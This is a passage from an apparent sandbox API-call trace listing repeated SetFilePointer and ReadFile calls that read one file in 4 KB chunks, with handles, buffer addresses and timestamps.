lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.615] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3f000 [0172.616] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.616] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x40000 [0172.616] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.617] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x41000 [0172.617] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.618] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x42000 [0172.618] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.618] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x43000 [0172.619] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.619] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x44000 [0172.619] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.620] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x45000 [0172.620] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.620] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x46000 [0172.620] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.620] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x47000 [0172.621] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.621] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x48000 [0172.621] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.622] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x49000 [0172.622] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.622] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4a000 [0172.623] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.623] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4b000 [0172.624] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.624] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4c000 [0172.624] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.625] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4d000 [0172.625] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.625] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4e000 [0172.625] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.704] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4f000 [0172.704] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.704] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x50000 [0172.704] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.705] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x51000 [0172.705] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.705] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x52000 [0172.705] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.706] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x53000 [0172.706] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.707] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x54000 [0172.707] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.707] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x55000 [0172.707] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.708] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x56000 [0172.708] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.708] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x57000 [0172.709] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.709] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x58000 [0172.709] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.709] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x59000 [0172.709] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.710] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5a000 [0172.710] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.710] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5b000 [0172.710] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.711] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5c000 [0172.711] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.711] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5d000 [0172.711] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.712] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5e000 [0172.712] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.712] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5f000 [0172.712] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.713] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x60000 [0172.713] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.713] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x61000 [0172.713] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.714] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x62000 [0172.714] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.715] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x63000 [0172.715] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.717] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x64000 [0172.717] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.717] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x65000 [0172.717] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.718] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x66000 [0172.718] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.719] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x67000 [0172.719] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.720] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x68000 [0172.720] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.720] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x69000 [0172.720] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.721] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6a000 [0172.721] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.721] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6b000 [0172.721] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.722] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6c000 [0172.722] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.723] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6d000 [0172.723] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.724] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6e000 [0172.724] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.724] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6f000 [0172.725] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.725] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x70000 [0172.726] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.726] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x71000 [0172.726] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.727] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x72000 [0172.727] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.727] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x73000 [0172.727] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.728] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x74000 [0172.728] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.729] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x75000 [0172.729] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.730] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x76000 [0172.730] ReadFile (in: hFile=0x3dc, 